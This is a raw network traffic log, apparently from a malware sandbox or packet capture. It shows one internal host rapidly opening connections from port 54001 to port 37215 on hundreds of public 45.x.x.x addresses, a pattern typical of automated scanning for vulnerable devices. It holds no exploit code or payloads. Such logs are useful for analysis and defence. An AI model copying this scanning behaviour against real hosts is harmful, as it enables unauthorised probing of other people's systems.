Feb 19, 2024 18:35:38.483964920 CET	54001	37215	192.168.2.23	45.206.26.134
Feb 19, 2024 18:35:38.483992100 CET	54001	37215	192.168.2.23	45.1.237.156
Feb 19, 2024 18:35:38.483998060 CET	54001	37215	192.168.2.23	45.29.181.15
Feb 19, 2024 18:35:38.484000921 CET	54001	37215	192.168.2.23	45.192.85.3
Feb 19, 2024 18:35:38.484002113 CET	54001	37215	192.168.2.23	45.91.134.226
Feb 19, 2024 18:35:38.484010935 CET	54001	37215	192.168.2.23	45.135.147.120
Feb 19, 2024 18:35:38.484030962 CET	54001	37215	192.168.2.23	45.118.163.10
Feb 19, 2024 18:35:38.484045029 CET	54001	37215	192.168.2.23	45.150.229.66
Feb 19, 2024 18:35:38.484052896 CET	54001	37215	192.168.2.23	45.25.59.235
Feb 19, 2024 18:35:38.484071016 CET	54001	37215	192.168.2.23	45.60.235.104
Feb 19, 2024 18:35:38.484083891 CET	54001	37215	192.168.2.23	45.51.122.66
Feb 19, 2024 18:35:38.484091043 CET	54001	37215	192.168.2.23	45.156.235.207
Feb 19, 2024 18:35:38.484110117 CET	54001	37215	192.168.2.23	45.251.190.253
Feb 19, 2024 18:35:38.484147072 CET	54001	37215	192.168.2.23	45.188.90.82
Feb 19, 2024 18:35:38.484148026 CET	54001	37215	192.168.2.23	45.159.99.18
Feb 19, 2024 18:35:38.484149933 CET	54001	37215	192.168.2.23	45.137.232.1
Feb 19, 2024 18:35:38.484165907 CET	54001	37215	192.168.2.23	45.196.252.13
Feb 19, 2024 18:35:38.484179020 CET	54001	37215	192.168.2.23	45.27.119.162
Feb 19, 2024 18:35:38.484215021 CET	54001	37215	192.168.2.23	45.17.30.248
Feb 19, 2024 18:35:38.484227896 CET	54001	37215	192.168.2.23	45.160.23.105
Feb 19, 2024 18:35:38.484241009 CET	54001	37215	192.168.2.23	45.245.190.146
Feb 19, 2024 18:35:38.484246969 CET	54001	37215	192.168.2.23	45.3.248.177
Feb 19, 2024 18:35:38.484246969 CET	54001	37215	192.168.2.23	45.60.17.73
Feb 19, 2024 18:35:38.484277964 CET	54001	37215	192.168.2.23	45.186.251.127
Feb 19, 2024 18:35:38.484287977 CET	54001	37215	192.168.2.23	45.34.52.129
Feb 19, 2024 18:35:38.484299898 CET	54001	37215	192.168.2.23	45.53.93.208
Feb 19, 2024 18:35:38.484302998 CET	54001	37215	192.168.2.23	45.38.17.188
Feb 19, 2024 18:35:38.484307051 CET	54001	37215	192.168.2.23	45.187.250.239
Feb 19, 2024 18:35:38.484316111 CET	54001	37215	192.168.2.23	45.138.209.116
Feb 19, 2024 18:35:38.484322071 CET	54001	37215	192.168.2.23	45.97.9.130
Feb 19, 2024 18:35:38.484335899 CET	54001	37215	192.168.2.23	45.239.40.190
Feb 19, 2024 18:35:38.484364033 CET	54001	37215	192.168.2.23	45.11.129.222
Feb 19, 2024 18:35:38.484364033 CET	54001	37215	192.168.2.23	45.93.210.193
Feb 19, 2024 18:35:38.484383106 CET	54001	37215	192.168.2.23	45.170.68.73
Feb 19, 2024 18:35:38.484391928 CET	54001	37215	192.168.2.23	45.82.30.207
Feb 19, 2024 18:35:38.484400034 CET	54001	37215	192.168.2.23	45.188.246.64
Feb 19, 2024 18:35:38.484417915 CET	54001	37215	192.168.2.23	45.141.33.78
Feb 19, 2024 18:35:38.484433889 CET	54001	37215	192.168.2.23	45.104.169.203
Feb 19, 2024 18:35:38.484447002 CET	54001	37215	192.168.2.23	45.144.40.124
Feb 19, 2024 18:35:38.484472036 CET	54001	37215	192.168.2.23	45.188.5.186
Feb 19, 2024 18:35:38.484483004 CET	54001	37215	192.168.2.23	45.36.119.112
Feb 19, 2024 18:35:38.484496117 CET	54001	37215	192.168.2.23	45.237.152.235
Feb 19, 2024 18:35:38.484505892 CET	54001	37215	192.168.2.23	45.208.24.165
Feb 19, 2024 18:35:38.484517097 CET	54001	37215	192.168.2.23	45.65.158.169
Feb 19, 2024 18:35:38.484532118 CET	54001	37215	192.168.2.23	45.196.207.168
Feb 19, 2024 18:35:38.484540939 CET	54001	37215	192.168.2.23	45.24.72.156
Feb 19, 2024 18:35:38.484551907 CET	54001	37215	192.168.2.23	45.115.117.82
Feb 19, 2024 18:35:38.484566927 CET	54001	37215	192.168.2.23	45.250.250.248
Feb 19, 2024 18:35:38.484595060 CET	54001	37215	192.168.2.23	45.87.231.255
Feb 19, 2024 18:35:38.484620094 CET	54001	37215	192.168.2.23	45.227.167.138
Feb 19, 2024 18:35:38.484633923 CET	54001	37215	192.168.2.23	45.200.7.52
Feb 19, 2024 18:35:38.484641075 CET	54001	37215	192.168.2.23	45.104.244.176
Feb 19, 2024 18:35:38.484641075 CET	54001	37215	192.168.2.23	45.205.5.38
Feb 19, 2024 18:35:38.484661102 CET	54001	37215	192.168.2.23	45.230.241.208
Feb 19, 2024 18:35:38.484664917 CET	54001	37215	192.168.2.23	45.156.139.5
Feb 19, 2024 18:35:38.484677076 CET	54001	37215	192.168.2.23	45.180.82.247
Feb 19, 2024 18:35:38.484685898 CET	54001	37215	192.168.2.23	45.164.200.180
Feb 19, 2024 18:35:38.484699011 CET	54001	37215	192.168.2.23	45.221.49.155
Feb 19, 2024 18:35:38.484728098 CET	54001	37215	192.168.2.23	45.93.32.184
Feb 19, 2024 18:35:38.484751940 CET	54001	37215	192.168.2.23	45.110.92.112
Feb 19, 2024 18:35:38.484751940 CET	54001	37215	192.168.2.23	45.214.148.230
Feb 19, 2024 18:35:38.484766006 CET	54001	37215	192.168.2.23	45.212.201.138
Feb 19, 2024 18:35:38.484771967 CET	54001	37215	192.168.2.23	45.129.38.139
Feb 19, 2024 18:35:38.484771967 CET	54001	37215	192.168.2.23	45.202.163.165
Feb 19, 2024 18:35:38.484795094 CET	54001	37215	192.168.2.23	45.227.201.129
Feb 19, 2024 18:35:38.484812975 CET	54001	37215	192.168.2.23	45.121.57.238
Feb 19, 2024 18:35:38.484812975 CET	54001	37215	192.168.2.23	45.44.214.109
Feb 19, 2024 18:35:38.484828949 CET	54001	37215	192.168.2.23	45.207.255.175
Feb 19, 2024 18:35:38.484828949 CET	54001	37215	192.168.2.23	45.7.35.144
Feb 19, 2024 18:35:38.484874964 CET	54001	37215	192.168.2.23	45.111.206.92
Feb 19, 2024 18:35:38.484884024 CET	54001	37215	192.168.2.23	45.180.121.87
Feb 19, 2024 18:35:38.484895945 CET	54001	37215	192.168.2.23	45.21.254.205
Feb 19, 2024 18:35:38.484910965 CET	54001	37215	192.168.2.23	45.42.24.128
Feb 19, 2024 18:35:38.484914064 CET	54001	37215	192.168.2.23	45.48.0.156
Feb 19, 2024 18:35:38.484937906 CET	54001	37215	192.168.2.23	45.238.124.232
Feb 19, 2024 18:35:38.484954119 CET	54001	37215	192.168.2.23	45.99.76.156
Feb 19, 2024 18:35:38.484961033 CET	54001	37215	192.168.2.23	45.100.9.89
Feb 19, 2024 18:35:38.484961033 CET	54001	37215	192.168.2.23	45.132.247.151
Feb 19, 2024 18:35:38.484972954 CET	54001	37215	192.168.2.23	45.68.127.44
Feb 19, 2024 18:35:38.484972954 CET	54001	37215	192.168.2.23	45.102.33.105
Feb 19, 2024 18:35:38.484999895 CET	54001	37215	192.168.2.23	45.180.189.81
Feb 19, 2024 18:35:38.485008955 CET	54001	37215	192.168.2.23	45.153.157.241
Feb 19, 2024 18:35:38.485022068 CET	54001	37215	192.168.2.23	45.143.78.6
Feb 19, 2024 18:35:38.485037088 CET	54001	37215	192.168.2.23	45.88.236.210
Feb 19, 2024 18:35:38.485069036 CET	54001	37215	192.168.2.23	45.134.243.29
Feb 19, 2024 18:35:38.485073090 CET	54001	37215	192.168.2.23	45.223.11.92
Feb 19, 2024 18:35:38.485074997 CET	54001	37215	192.168.2.23	45.148.2.120
Feb 19, 2024 18:35:38.485086918 CET	54001	37215	192.168.2.23	45.196.66.59
Feb 19, 2024 18:35:38.485106945 CET	54001	37215	192.168.2.23	45.42.164.132
Feb 19, 2024 18:35:38.485110998 CET	54001	37215	192.168.2.23	45.152.227.4
Feb 19, 2024 18:35:38.485127926 CET	54001	37215	192.168.2.23	45.196.108.35
Feb 19, 2024 18:35:38.485162020 CET	54001	37215	192.168.2.23	45.129.249.134
Feb 19, 2024 18:35:38.485177994 CET	54001	37215	192.168.2.23	45.227.32.181
Feb 19, 2024 18:35:38.485193014 CET	54001	37215	192.168.2.23	45.217.183.49
Feb 19, 2024 18:35:38.485203981 CET	54001	37215	192.168.2.23	45.3.171.173
Feb 19, 2024 18:35:38.485214949 CET	54001	37215	192.168.2.23	45.18.190.21
Feb 19, 2024 18:35:38.485229015 CET	54001	37215	192.168.2.23	45.151.16.220
Feb 19, 2024 18:35:38.485236883 CET	54001	37215	192.168.2.23	45.233.198.220
Feb 19, 2024 18:35:38.485250950 CET	54001	37215	192.168.2.23	45.167.108.98
Feb 19, 2024 18:35:38.485250950 CET	54001	37215	192.168.2.23	45.204.105.56
Feb 19, 2024 18:35:38.485271931 CET	54001	37215	192.168.2.23	45.93.7.174
Feb 19, 2024 18:35:38.485275030 CET	54001	37215	192.168.2.23	45.7.178.71
Feb 19, 2024 18:35:38.485291004 CET	54001	37215	192.168.2.23	45.90.45.136
Feb 19, 2024 18:35:38.485295057 CET	54001	37215	192.168.2.23	45.57.161.90
Feb 19, 2024 18:35:38.485304117 CET	54001	37215	192.168.2.23	45.99.197.57
Feb 19, 2024 18:35:38.485315084 CET	54001	37215	192.168.2.23	45.178.185.72
Feb 19, 2024 18:35:38.485327959 CET	54001	37215	192.168.2.23	45.78.153.97
Feb 19, 2024 18:35:38.485352993 CET	54001	37215	192.168.2.23	45.157.233.51
Feb 19, 2024 18:35:38.485364914 CET	54001	37215	192.168.2.23	45.56.73.86
Feb 19, 2024 18:35:38.485364914 CET	54001	37215	192.168.2.23	45.248.170.251
Feb 19, 2024 18:35:38.485403061 CET	54001	37215	192.168.2.23	45.161.53.106
Feb 19, 2024 18:35:38.485420942 CET	54001	37215	192.168.2.23	45.217.101.244
Feb 19, 2024 18:35:38.485423088 CET	54001	37215	192.168.2.23	45.93.228.246
Feb 19, 2024 18:35:38.485423088 CET	54001	37215	192.168.2.23	45.87.244.126
Feb 19, 2024 18:35:38.485435009 CET	54001	37215	192.168.2.23	45.157.4.144
Feb 19, 2024 18:35:38.485445976 CET	54001	37215	192.168.2.23	45.122.24.212
Feb 19, 2024 18:35:38.485455990 CET	54001	37215	192.168.2.23	45.72.3.207
Feb 19, 2024 18:35:38.485483885 CET	54001	37215	192.168.2.23	45.2.95.186
Feb 19, 2024 18:35:38.485491991 CET	54001	37215	192.168.2.23	45.109.7.215
Feb 19, 2024 18:35:38.485491991 CET	54001	37215	192.168.2.23	45.0.185.124
Feb 19, 2024 18:35:38.485503912 CET	54001	37215	192.168.2.23	45.43.255.27
Feb 19, 2024 18:35:38.485518932 CET	54001	37215	192.168.2.23	45.124.75.240
Feb 19, 2024 18:35:38.485532045 CET	54001	37215	192.168.2.23	45.198.31.225
Feb 19, 2024 18:35:38.485547066 CET	54001	37215	192.168.2.23	45.139.7.11
Feb 19, 2024 18:35:38.485560894 CET	54001	37215	192.168.2.23	45.26.174.229
Feb 19, 2024 18:35:38.485569000 CET	54001	37215	192.168.2.23	45.19.152.106
Feb 19, 2024 18:35:38.485583067 CET	54001	37215	192.168.2.23	45.246.132.204
Feb 19, 2024 18:35:38.485598087 CET	54001	37215	192.168.2.23	45.27.36.173
Feb 19, 2024 18:35:38.485622883 CET	54001	37215	192.168.2.23	45.96.55.155
Feb 19, 2024 18:35:38.485652924 CET	54001	37215	192.168.2.23	45.5.35.134
Feb 19, 2024 18:35:38.485667944 CET	54001	37215	192.168.2.23	45.62.184.155
Feb 19, 2024 18:35:38.485682011 CET	54001	37215	192.168.2.23	45.66.232.4
Feb 19, 2024 18:35:38.485696077 CET	54001	37215	192.168.2.23	45.141.31.243
Feb 19, 2024 18:35:38.485707998 CET	54001	37215	192.168.2.23	45.154.86.238
Feb 19, 2024 18:35:38.485722065 CET	54001	37215	192.168.2.23	45.62.85.10
Feb 19, 2024 18:35:38.485723019 CET	54001	37215	192.168.2.23	45.21.190.178
Feb 19, 2024 18:35:38.485723972 CET	54001	37215	192.168.2.23	45.70.184.127
Feb 19, 2024 18:35:38.485733986 CET	54001	37215	192.168.2.23	45.189.98.180
Feb 19, 2024 18:35:38.485740900 CET	54001	37215	192.168.2.23	45.132.67.91
Feb 19, 2024 18:35:38.485754967 CET	54001	37215	192.168.2.23	45.51.111.234
Feb 19, 2024 18:35:38.485770941 CET	54001	37215	192.168.2.23	45.57.223.126
Feb 19, 2024 18:35:38.485781908 CET	54001	37215	192.168.2.23	45.110.186.151
Feb 19, 2024 18:35:38.485806942 CET	54001	37215	192.168.2.23	45.184.15.74
Feb 19, 2024 18:35:38.485820055 CET	54001	37215	192.168.2.23	45.35.0.91
Feb 19, 2024 18:35:38.485831022 CET	54001	37215	192.168.2.23	45.115.123.239
Feb 19, 2024 18:35:38.485831976 CET	54001	37215	192.168.2.23	45.201.18.118
Feb 19, 2024 18:35:38.485857010 CET	54001	37215	192.168.2.23	45.7.33.196
Feb 19, 2024 18:35:38.485857010 CET	54001	37215	192.168.2.23	45.92.145.58
Feb 19, 2024 18:35:38.485869884 CET	54001	37215	192.168.2.23	45.63.159.87
Feb 19, 2024 18:35:38.485891104 CET	54001	37215	192.168.2.23	45.42.213.112
Feb 19, 2024 18:35:38.485903025 CET	54001	37215	192.168.2.23	45.248.79.28
Feb 19, 2024 18:35:38.485925913 CET	54001	37215	192.168.2.23	45.226.131.101
Feb 19, 2024 18:35:38.485928059 CET	54001	37215	192.168.2.23	45.94.29.161
Feb 19, 2024 18:35:38.485937119 CET	54001	37215	192.168.2.23	45.43.98.115
Feb 19, 2024 18:35:38.485958099 CET	54001	37215	192.168.2.23	45.136.247.85
Feb 19, 2024 18:35:38.485965967 CET	54001	37215	192.168.2.23	45.43.77.11
Feb 19, 2024 18:35:38.485982895 CET	54001	37215	192.168.2.23	45.31.245.32
Feb 19, 2024 18:35:38.485996008 CET	54001	37215	192.168.2.23	45.224.111.137
Feb 19, 2024 18:35:38.486008883 CET	54001	37215	192.168.2.23	45.100.28.162
Feb 19, 2024 18:35:38.486016989 CET	54001	37215	192.168.2.23	45.92.234.74
Feb 19, 2024 18:35:38.486032009 CET	54001	37215	192.168.2.23	45.15.117.237
Feb 19, 2024 18:35:38.486052990 CET	54001	37215	192.168.2.23	45.129.213.239
Feb 19, 2024 18:35:38.486061096 CET	54001	37215	192.168.2.23	45.250.108.85
Feb 19, 2024 18:35:38.486078024 CET	54001	37215	192.168.2.23	45.204.241.207
Feb 19, 2024 18:35:38.486087084 CET	54001	37215	192.168.2.23	45.204.60.220
Feb 19, 2024 18:35:38.486103058 CET	54001	37215	192.168.2.23	45.36.251.64
Feb 19, 2024 18:35:38.486114025 CET	54001	37215	192.168.2.23	45.108.108.43
Feb 19, 2024 18:35:38.486128092 CET	54001	37215	192.168.2.23	45.95.208.250
Feb 19, 2024 18:35:38.486140966 CET	54001	37215	192.168.2.23	45.82.175.250
Feb 19, 2024 18:35:38.486150026 CET	54001	37215	192.168.2.23	45.217.121.122
Feb 19, 2024 18:35:38.486161947 CET	54001	37215	192.168.2.23	45.221.231.3
Feb 19, 2024 18:35:38.486181974 CET	54001	37215	192.168.2.23	45.161.244.194
Feb 19, 2024 18:35:38.486202002 CET	54001	37215	192.168.2.23	45.37.243.61
Feb 19, 2024 18:35:38.486210108 CET	54001	37215	192.168.2.23	45.110.25.157
Feb 19, 2024 18:35:38.486216068 CET	54001	37215	192.168.2.23	45.63.92.145
Feb 19, 2024 18:35:38.486227036 CET	54001	37215	192.168.2.23	45.13.205.7
Feb 19, 2024 18:35:38.486243963 CET	54001	37215	192.168.2.23	45.247.160.132
Feb 19, 2024 18:35:38.486257076 CET	54001	37215	192.168.2.23	45.186.150.203
Feb 19, 2024 18:35:38.486274958 CET	54001	37215	192.168.2.23	45.253.47.54
Feb 19, 2024 18:35:38.486291885 CET	54001	37215	192.168.2.23	45.45.111.250
Feb 19, 2024 18:35:38.486308098 CET	54001	37215	192.168.2.23	45.183.190.131
Feb 19, 2024 18:35:38.486319065 CET	54001	37215	192.168.2.23	45.100.108.177
Feb 19, 2024 18:35:38.486335993 CET	54001	37215	192.168.2.23	45.180.69.178
Feb 19, 2024 18:35:38.486356020 CET	54001	37215	192.168.2.23	45.249.0.24
Feb 19, 2024 18:35:38.486360073 CET	54001	37215	192.168.2.23	45.238.138.233
Feb 19, 2024 18:35:38.486375093 CET	54001	37215	192.168.2.23	45.155.3.75
Feb 19, 2024 18:35:38.486376047 CET	54001	37215	192.168.2.23	45.76.126.241
Feb 19, 2024 18:35:38.486378908 CET	54001	37215	192.168.2.23	45.76.251.23
Feb 19, 2024 18:35:38.486383915 CET	54001	37215	192.168.2.23	45.243.178.147
Feb 19, 2024 18:35:38.486398935 CET	54001	37215	192.168.2.23	45.11.34.35
Feb 19, 2024 18:35:38.486414909 CET	54001	37215	192.168.2.23	45.98.50.152
Feb 19, 2024 18:35:38.486422062 CET	54001	37215	192.168.2.23	45.255.180.86
Feb 19, 2024 18:35:38.486438990 CET	54001	37215	192.168.2.23	45.203.59.40
Feb 19, 2024 18:35:38.486449003 CET	54001	37215	192.168.2.23	45.169.39.90
Feb 19, 2024 18:35:38.486475945 CET	54001	37215	192.168.2.23	45.239.111.6
Feb 19, 2024 18:35:38.486475945 CET	54001	37215	192.168.2.23	45.165.58.16
Feb 19, 2024 18:35:38.486494064 CET	54001	37215	192.168.2.23	45.181.194.106
Feb 19, 2024 18:35:38.486532927 CET	54001	37215	192.168.2.23	45.164.11.3
Feb 19, 2024 18:35:38.486541986 CET	54001	37215	192.168.2.23	45.255.29.119
Feb 19, 2024 18:35:38.486541986 CET	54001	37215	192.168.2.23	45.31.58.254
Feb 19, 2024 18:35:38.486560106 CET	54001	37215	192.168.2.23	45.66.130.138
Feb 19, 2024 18:35:38.486572027 CET	54001	37215	192.168.2.23	45.15.190.222
Feb 19, 2024 18:35:38.486588001 CET	54001	37215	192.168.2.23	45.171.80.28
Feb 19, 2024 18:35:38.486594915 CET	54001	37215	192.168.2.23	45.89.233.65
Feb 19, 2024 18:35:38.486607075 CET	54001	37215	192.168.2.23	45.29.172.113
Feb 19, 2024 18:35:38.486607075 CET	54001	37215	192.168.2.23	45.158.46.178
Feb 19, 2024 18:35:38.486632109 CET	54001	37215	192.168.2.23	45.136.185.198
Feb 19, 2024 18:35:38.486641884 CET	54001	37215	192.168.2.23	45.96.138.193
Feb 19, 2024 18:35:38.486655951 CET	54001	37215	192.168.2.23	45.117.187.112
Feb 19, 2024 18:35:38.486668110 CET	54001	37215	192.168.2.23	45.97.164.73
Feb 19, 2024 18:35:38.486686945 CET	54001	37215	192.168.2.23	45.61.176.240
Feb 19, 2024 18:35:38.486694098 CET	54001	37215	192.168.2.23	45.203.53.141
Feb 19, 2024 18:35:38.486723900 CET	54001	37215	192.168.2.23	45.166.91.166
Feb 19, 2024 18:35:38.486726999 CET	54001	37215	192.168.2.23	45.231.141.215
Feb 19, 2024 18:35:38.486741066 CET	54001	37215	192.168.2.23	45.49.71.132
Feb 19, 2024 18:35:38.486757040 CET	54001	37215	192.168.2.23	45.57.236.220
Feb 19, 2024 18:35:38.486763000 CET	54001	37215	192.168.2.23	45.176.216.9
Feb 19, 2024 18:35:38.486789942 CET	54001	37215	192.168.2.23	45.136.34.198
Feb 19, 2024 18:35:38.486807108 CET	54001	37215	192.168.2.23	45.156.98.161
Feb 19, 2024 18:35:38.486818075 CET	54001	37215	192.168.2.23	45.166.82.229
Feb 19, 2024 18:35:38.486828089 CET	54001	37215	192.168.2.23	45.127.127.248
Feb 19, 2024 18:35:38.486828089 CET	54001	37215	192.168.2.23	45.177.19.213
Feb 19, 2024 18:35:38.486850023 CET	54001	37215	192.168.2.23	45.21.149.191
Feb 19, 2024 18:35:38.486856937 CET	54001	37215	192.168.2.23	45.89.187.135
Feb 19, 2024 18:35:38.486866951 CET	54001	37215	192.168.2.23	45.238.37.93
Feb 19, 2024 18:35:38.486875057 CET	54001	37215	192.168.2.23	45.87.125.190
Feb 19, 2024 18:35:38.486891031 CET	54001	37215	192.168.2.23	45.222.155.214
Feb 19, 2024 18:35:38.486907959 CET	54001	37215	192.168.2.23	45.227.232.249
Feb 19, 2024 18:35:38.486915112 CET	54001	37215	192.168.2.23	45.201.59.175
Feb 19, 2024 18:35:38.486936092 CET	54001	37215	192.168.2.23	45.91.178.122
Feb 19, 2024 18:35:38.486947060 CET	54001	37215	192.168.2.23	45.134.184.165
Feb 19, 2024 18:35:38.486963034 CET	54001	37215	192.168.2.23	45.15.195.197
Feb 19, 2024 18:35:38.486980915 CET	54001	37215	192.168.2.23	45.225.165.127
Feb 19, 2024 18:35:38.486984015 CET	54001	37215	192.168.2.23	45.98.57.136
Feb 19, 2024 18:35:38.486996889 CET	54001	37215	192.168.2.23	45.64.120.125
Feb 19, 2024 18:35:38.487006903 CET	54001	37215	192.168.2.23	45.48.141.107
Feb 19, 2024 18:35:38.487006903 CET	54001	37215	192.168.2.23	45.42.116.148
Feb 19, 2024 18:35:38.487021923 CET	54001	37215	192.168.2.23	45.91.234.162
Feb 19, 2024 18:35:38.487035036 CET	54001	37215	192.168.2.23	45.203.142.19
Feb 19, 2024 18:35:38.487040043 CET	54001	37215	192.168.2.23	45.205.16.150
Feb 19, 2024 18:35:38.487061977 CET	54001	37215	192.168.2.23	45.96.43.25
Feb 19, 2024 18:35:38.487087965 CET	54001	37215	192.168.2.23	45.36.186.58
Feb 19, 2024 18:35:38.487087965 CET	54001	37215	192.168.2.23	45.34.122.103
Feb 19, 2024 18:35:38.487114906 CET	54001	37215	192.168.2.23	45.76.224.56
Feb 19, 2024 18:35:38.487127066 CET	54001	37215	192.168.2.23	45.231.120.104
Feb 19, 2024 18:35:38.487127066 CET	54001	37215	192.168.2.23	45.196.69.74
Feb 19, 2024 18:35:38.487134933 CET	54001	37215	192.168.2.23	45.196.166.195
Feb 19, 2024 18:35:38.487134933 CET	54001	37215	192.168.2.23	45.184.66.13
Feb 19, 2024 18:35:38.487154007 CET	54001	37215	192.168.2.23	45.150.165.249
Feb 19, 2024 18:35:38.487160921 CET	54001	37215	192.168.2.23	45.24.38.56
Feb 19, 2024 18:35:38.487168074 CET	54001	37215	192.168.2.23	45.154.157.100
Feb 19, 2024 18:35:38.487179995 CET	54001	37215	192.168.2.23	45.143.123.137
Feb 19, 2024 18:35:38.487200975 CET	54001	37215	192.168.2.23	45.190.199.114
Feb 19, 2024 18:35:38.487205982 CET	54001	37215	192.168.2.23	45.160.103.55
Feb 19, 2024 18:35:38.487217903 CET	54001	37215	192.168.2.23	45.9.130.190
Feb 19, 2024 18:35:38.487225056 CET	54001	37215	192.168.2.23	45.166.179.117
Feb 19, 2024 18:35:38.487243891 CET	54001	37215	192.168.2.23	45.195.252.196
Feb 19, 2024 18:35:38.487258911 CET	54001	37215	192.168.2.23	45.204.183.129
Feb 19, 2024 18:35:38.487277985 CET	54001	37215	192.168.2.23	45.58.247.173
Feb 19, 2024 18:35:38.487282991 CET	54001	37215	192.168.2.23	45.212.233.12
Feb 19, 2024 18:35:38.487286091 CET	54001	37215	192.168.2.23	45.241.178.187
Feb 19, 2024 18:35:38.487308025 CET	54001	37215	192.168.2.23	45.63.41.210
Feb 19, 2024 18:35:38.487323999 CET	54001	37215	192.168.2.23	45.159.107.236
Feb 19, 2024 18:35:38.487323999 CET	54001	37215	192.168.2.23	45.120.123.84
Feb 19, 2024 18:35:38.487334967 CET	54001	37215	192.168.2.23	45.205.40.212
Feb 19, 2024 18:35:38.487355947 CET	54001	37215	192.168.2.23	45.50.80.36
Feb 19, 2024 18:35:38.487359047 CET	54001	37215	192.168.2.23	45.229.27.143
Feb 19, 2024 18:35:38.487370968 CET	54001	37215	192.168.2.23	45.35.182.131
Feb 19, 2024 18:35:38.487389088 CET	54001	37215	192.168.2.23	45.175.81.140
Feb 19, 2024 18:35:38.487401962 CET	54001	37215	192.168.2.23	45.217.9.3
Feb 19, 2024 18:35:38.487407923 CET	54001	37215	192.168.2.23	45.18.207.82
Feb 19, 2024 18:35:38.487422943 CET	54001	37215	192.168.2.23	45.195.157.129
Feb 19, 2024 18:35:38.487436056 CET	54001	37215	192.168.2.23	45.168.86.248
Feb 19, 2024 18:35:38.487452984 CET	54001	37215	192.168.2.23	45.231.50.124
Feb 19, 2024 18:35:38.487457037 CET	54001	37215	192.168.2.23	45.215.189.253
Feb 19, 2024 18:35:38.487477064 CET	54001	37215	192.168.2.23	45.188.129.77
Feb 19, 2024 18:35:38.487488031 CET	54001	37215	192.168.2.23	45.183.78.214
Feb 19, 2024 18:35:38.487504959 CET	54001	37215	192.168.2.23	45.112.98.162
Feb 19, 2024 18:35:38.487520933 CET	54001	37215	192.168.2.23	45.233.83.243
Feb 19, 2024 18:35:38.487530947 CET	54001	37215	192.168.2.23	45.132.117.115
Feb 19, 2024 18:35:38.487530947 CET	54001	37215	192.168.2.23	45.80.3.196
Feb 19, 2024 18:35:38.487548113 CET	54001	37215	192.168.2.23	45.115.32.116
Feb 19, 2024 18:35:38.487559080 CET	54001	37215	192.168.2.23	45.187.248.118
Feb 19, 2024 18:35:38.487569094 CET	54001	37215	192.168.2.23	45.136.83.147
Feb 19, 2024 18:35:38.487582922 CET	54001	37215	192.168.2.23	45.14.76.188
Feb 19, 2024 18:35:38.487606049 CET	54001	37215	192.168.2.23	45.105.219.159
Feb 19, 2024 18:35:38.487607002 CET	54001	37215	192.168.2.23	45.140.117.144
Feb 19, 2024 18:35:38.487623930 CET	54001	37215	192.168.2.23	45.158.47.102
Feb 19, 2024 18:35:38.487644911 CET	54001	37215	192.168.2.23	45.231.193.144
Feb 19, 2024 18:35:38.487644911 CET	54001	37215	192.168.2.23	45.134.142.193
Feb 19, 2024 18:35:38.487654924 CET	54001	37215	192.168.2.23	45.248.37.32
Feb 19, 2024 18:35:38.487664938 CET	54001	37215	192.168.2.23	45.13.199.5
Feb 19, 2024 18:35:38.487680912 CET	54001	37215	192.168.2.23	45.118.198.154
Feb 19, 2024 18:35:38.487687111 CET	54001	37215	192.168.2.23	45.234.149.89
Feb 19, 2024 18:35:38.487701893 CET	54001	37215	192.168.2.23	45.160.90.37
Feb 19, 2024 18:35:38.487713099 CET	54001	37215	192.168.2.23	45.161.84.167
Feb 19, 2024 18:35:38.487720966 CET	54001	37215	192.168.2.23	45.227.213.209
Feb 19, 2024 18:35:38.487747908 CET	54001	37215	192.168.2.23	45.197.231.157
Feb 19, 2024 18:35:38.487749100 CET	54001	37215	192.168.2.23	45.25.94.37
Feb 19, 2024 18:35:38.487757921 CET	54001	37215	192.168.2.23	45.100.199.213
Feb 19, 2024 18:35:38.487760067 CET	54001	37215	192.168.2.23	45.23.255.13
Feb 19, 2024 18:35:38.487782001 CET	54001	37215	192.168.2.23	45.202.240.222
Feb 19, 2024 18:35:38.487788916 CET	54001	37215	192.168.2.23	45.221.218.0
Feb 19, 2024 18:35:38.487806082 CET	54001	37215	192.168.2.23	45.136.154.151
Feb 19, 2024 18:35:38.487819910 CET	54001	37215	192.168.2.23	45.223.122.232
Feb 19, 2024 18:35:38.487835884 CET	54001	37215	192.168.2.23	45.202.21.139
Feb 19, 2024 18:35:38.487848997 CET	54001	37215	192.168.2.23	45.179.0.52
Feb 19, 2024 18:35:38.487874031 CET	54001	37215	192.168.2.23	45.109.59.213
Feb 19, 2024 18:35:38.487890005 CET	54001	37215	192.168.2.23	45.157.243.210
Feb 19, 2024 18:35:38.487895966 CET	54001	37215	192.168.2.23	45.153.185.170
Feb 19, 2024 18:35:38.487895966 CET	54001	37215	192.168.2.23	45.199.192.82
Feb 19, 2024 18:35:38.487899065 CET	54001	37215	192.168.2.23	45.235.60.247
Feb 19, 2024 18:35:38.487915039 CET	54001	37215	192.168.2.23	45.49.108.103
Feb 19, 2024 18:35:38.487934113 CET	54001	37215	192.168.2.23	45.150.169.215
Feb 19, 2024 18:35:38.487934113 CET	54001	37215	192.168.2.23	45.187.67.31
Feb 19, 2024 18:35:38.487943888 CET	54001	37215	192.168.2.23	45.226.120.251
Feb 19, 2024 18:35:38.487963915 CET	54001	37215	192.168.2.23	45.5.235.110
Feb 19, 2024 18:35:38.487973928 CET	54001	37215	192.168.2.23	45.67.122.228
Feb 19, 2024 18:35:38.487973928 CET	54001	37215	192.168.2.23	45.66.218.131
Feb 19, 2024 18:35:38.487993002 CET	54001	37215	192.168.2.23	45.41.147.28
Feb 19, 2024 18:35:38.488028049 CET	54001	37215	192.168.2.23	45.85.230.158
Feb 19, 2024 18:35:38.488044977 CET	54001	37215	192.168.2.23	45.65.34.242
Feb 19, 2024 18:35:38.488054037 CET	54001	37215	192.168.2.23	45.53.152.60
Feb 19, 2024 18:35:38.488054037 CET	54001	37215	192.168.2.23	45.165.154.44
Feb 19, 2024 18:35:38.488063097 CET	54001	37215	192.168.2.23	45.15.228.178
Feb 19, 2024 18:35:38.488078117 CET	54001	37215	192.168.2.23	45.72.224.34
Feb 19, 2024 18:35:38.488090038 CET	54001	37215	192.168.2.23	45.236.209.178
Feb 19, 2024 18:35:38.488095999 CET	54001	37215	192.168.2.23	45.100.29.42
Feb 19, 2024 18:35:38.488111973 CET	54001	37215	192.168.2.23	45.194.205.240
Feb 19, 2024 18:35:38.488120079 CET	54001	37215	192.168.2.23	45.77.111.187
Feb 19, 2024 18:35:38.488120079 CET	54001	37215	192.168.2.23	45.60.226.204
Feb 19, 2024 18:35:38.488141060 CET	54001	37215	192.168.2.23	45.221.19.160
Feb 19, 2024 18:35:38.488145113 CET	54001	37215	192.168.2.23	45.156.202.135
